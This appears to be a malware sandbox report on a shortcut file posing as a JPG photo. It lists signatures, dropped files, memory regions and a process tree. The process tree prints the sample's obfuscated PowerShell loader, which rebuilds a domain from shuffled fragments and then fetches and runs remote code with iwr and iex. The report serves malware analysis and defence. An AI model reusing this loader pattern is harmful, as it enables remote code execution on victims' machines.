Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260728_013625.jpg.lnk
  • Size 1KB
  • Sample260728-mca1tavakd
  • SHA256 f0a171075b59659beb614ce675de9611232879443c538eec20cbad0f96018e03
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_013625.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reserv','a','photoinst','ynow.s','hop')[0,2,1,3,4] -join $uMf1Q) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDFDC.tmp" "c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\CSC9DB7E13FD58A473891108543D3B2B3.TMP"
          4⤵
            PID:5824

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RESDFDC.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESDFDC.tmp
          • Size 1KB
          • SHA256 d676b7f26563d2f11139774ba0b0b3863249956ee6e08d89902caec08114d114
          • MD5 SHA1 SHA512 TLSH

          gxj4t2tc.dll

          • Path C:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.dll
          • Size 3KB
          • SHA256 93d4cc762a51fa8a0bc68947acca22df1c7655342ced1694b89d9a20d1b6c322
          • MD5 SHA1 SHA512 TLSH

          CSC9DB7E13FD58A473891108543D3B2B3.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\CSC9DB7E13FD58A473891108543D3B2B3.TMP
          • Size 652B
          • SHA256 63ef6b47bf9506d2750060ae60a8779e40e1dd8d5adbdd4101e3e8882dbd4c45
          • MD5 SHA1 SHA512 TLSH

          gxj4t2tc.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          gxj4t2tc.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\gxj4t2tc\gxj4t2tc.cmdline
          • Size 369B
          • SHA256 f173856f3ceb11ff8299bd252cc6f338f8d1721faca485a13b61637d4827ce36
          • MD5 SHA1 SHA512 TLSH

          memory/4868-10-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-9-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-11-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-12-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-13-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-14-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-15-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-16-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-17-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-2-0x00007FFA836AF000-0x00007FFA836B0000-memory.dmp

          memory/4868-8-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-30-0x000001E2F0320000-0x000001E2F0328000-memory.dmp

          memory/4868-7-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-6-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-5-0x000001E2EFE90000-0x000001E2EFEB2000-memory.dmp

          memory/4868-31-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-32-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-33-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp

          memory/4868-34-0x00007FFA83520000-0x00007FFA83EC4000-memory.dmp